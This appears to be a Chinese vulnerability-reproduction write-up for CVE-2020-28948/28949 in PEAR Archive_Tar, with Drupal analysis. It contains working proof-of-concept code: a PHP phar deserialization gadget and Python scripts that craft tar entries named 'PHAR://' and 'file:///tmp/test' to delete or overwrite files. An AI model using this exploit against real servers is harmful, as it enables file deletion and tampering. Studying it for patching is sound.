CVE-2020-28948&28949PEAR_Archive_Tar库漏洞复现

漏洞描述

CVE-2020-28948

Archive_Tar through 1.4.10 allows an unserialization attack because phar: is blocked but PHAR: is not blocked.

CVE-2020-28949

Archive_Tar through 1.4.10 has :// filename sanitization only to address phar attacks, and thus any other stream-wrapper attack (such as file:// to overwrite files) can still succeed.

漏洞分析&复现

漏洞代码

以下代码没有对PHAR和其他php伪协议进行过滤,导致了漏洞存在。

1
2
3
4
5
6
7
8
9
10
private function _maliciousFilename($file)
{
if (strpos($file, 'phar://') === 0) {
return true;
}
if (strpos($file, '../') !== false || strpos($file, '..\\') !== false) {
return true;
}
return false;
}

drupal

看到了drupla的更新公告,drupal使用了对应的Archive_Tar库,对drupla进行了测试。标准安装情况下drupal在/core/modules/config/src/Form/ConfigImportForm.php中调用了ArchiveTar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function submitForm(array &$form, FormStateInterface $form_state) {
if ($path = $form_state->getValue('import_tarball')) {
$this->configStorage->deleteAll();
try {
$archiver = new ArchiveTar($path, 'gz');
$files = [];
foreach ($archiver->listContent() as $file) {
$files[] = $file['filename'];
}
$archiver->extractList($files, $this->settings->get('config_sync_directory'), '', FALSE, FALSE);
$this->messenger()->addStatus($this->t('Your configuration files were successfully uploaded and are ready for import.'));
$form_state->setRedirect('config.sync');
}
catch (\Exception $e) {
$this->messenger()->addError($this->t('Could not extract the contents of the tar file. The error message is <em>@message</em>', ['@message' => $e->getMessage()]));
}
$this->fileSystem->unlink($path);
}
}

但在$archiver->extractList($files, $this->settings->get('config_sync_directory'), '', FALSE, FALSE);中,$this->settings->get('config_sync_directory')指定了路径参数,会将恶意phar/file文件名拼在路径之后,导致漏洞无法利用,只有使用drupal框架,并且路径没有指定的情况下的drupal存在该漏洞。

PHAR反序列化

构造一个phar文件,使用Archive_Tar类,在类生命周期结束时,会删除$this->_temp_tarname文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Archive_Tar {
public $_temp_tarname;
function __construct($_temp_tarname) {
$this->_temp_tarname = $_temp_tarname;
}
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('aaa', 'aaa');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(new Archive_Tar('test'));
$phar->stopBuffering();

使用python脚本进行特定文件名打包

1
2
3
4
5
6
#!/usr/bin/python

import tarfile
tar = tarfile.open('exploit.tar', 'w')
tar.add('input_file.txt', 'PHAR://exploit.phar')
tar.close()

运行vulnerable.php

1
2
3
4
5
6
<?php

require_once('../Archive/Tar.php');

$archive = new Archive_Tar('exploit.tar');
$archive->extract();

_extractList函数中会调用file_exists,而参数是我们可控的文件名,造成phar反序列化。

删除了对应的test文件

file

直接使用python脚本生成tar

1
2
3
4
5
6
#!/usr/bin/python

import tarfile
tar = tarfile.open('exploit.tar', 'w')
tar.add('input_file.txt', 'file:///tmp/test')
tar.close()

在此处创建文件使用file读写覆盖写入文件

写文件

test文件内容发生修改

参考资料

exp: exploit.zip